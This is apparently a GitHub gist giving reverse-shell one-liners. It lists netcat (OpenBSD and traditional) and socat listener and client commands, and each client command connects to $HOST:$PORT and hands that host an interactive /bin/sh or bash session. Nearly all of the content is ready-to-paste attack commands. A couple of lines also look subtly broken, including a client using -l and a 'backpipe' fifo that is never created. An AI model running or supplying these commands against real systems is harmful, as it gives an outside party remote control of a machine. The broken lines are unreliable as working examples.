Skip to content

Instantly share code, notes, and snippets.

@lanrat
Last active October 22, 2019 19:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lanrat/71d824a9553ad529bbbd5309f4c9935f to your computer and use it in GitHub Desktop.
Save lanrat/71d824a9553ad529bbbd5309f4c9935f to your computer and use it in GitHub Desktop.
Reverse Shell examples

netcat (openbsd)

server

nc -knvl $PORT

client

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l $HOST $PORT > /tmp/f

/bin/sh -c "/bin/sh 0</tmp/backpipe | nc $HOST $PORT 1>/tmp/backpipe"

netcat (traditional)

server

nc -nvlp $PORT

client

nc $HOST $PORT -e /bin/sh

socat

server

socat file:`tty`,raw,echo=0 tcp-listen:$PORT

client

socat tcp-connect:$HOST:$PORT exec:'bash -li',pty,stderr,setsid,sigint,sane

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment